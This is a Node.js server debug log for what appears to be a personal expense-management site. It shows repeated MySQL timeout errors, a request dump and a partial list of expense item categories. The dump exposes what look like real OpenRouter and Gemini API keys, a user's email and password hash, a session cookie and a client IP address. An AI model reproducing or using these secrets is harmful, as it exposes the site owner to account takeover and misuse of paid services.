    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 21:08:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 21:15:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 21:15:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 23:17:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 23:17:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 01:56:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 01:56:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 02:18:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 02:18:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 03:26:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 03:26:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 03:58:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 03:58:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 07:42:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 07:42:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 08:31:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 08:31:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 09:53:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 09:53:23' as DATETIME)"
}
2025-12-26T09:54:05.611Z server-connect:router Serving templateView /
2025-12-26T09:54:05.612Z server-connect:app Executing action step identify
2025-12-26T09:54:05.612Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:05.676Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-26T09:54:05.679Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-26T09:54:05.726Z server-connect:output identity: 1
2025-12-26T09:54:05.726Z server-connect:app Executing action step restrict
2025-12-26T09:54:05.726Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-26T09:54:05.727Z server-connect:output restrict: undefined
2025-12-26T09:54:05.727Z server-connect:app Executing action step restrict
2025-12-26T09:54:05.727Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-26T09:54:05.727Z server-connect:output restrict: undefined
2025-12-26T09:54:05.727Z server-connect:router Render template layouts/main
2025-12-26T09:54:05.727Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-27T09:54:05.610Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-26T09:54:09.249Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-26T09:54:09.249Z server-connect:app Executing action step identify
2025-12-26T09:54:09.249Z server-connect:app options: { provider: 'security' }
2025-12-26T09:54:09.249Z server-connect:output identity: 1
2025-12-26T09:54:09.249Z server-connect:app Executing action step restrict
2025-12-26T09:54:09.249Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-26T09:54:09.250Z server-connect:output restrict: undefined
2025-12-26T09:54:09.250Z server-connect:app Executing action step select
2025-12-26T09:54:09.250Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-26T09:54:09.253Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-26T09:54:09.255Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
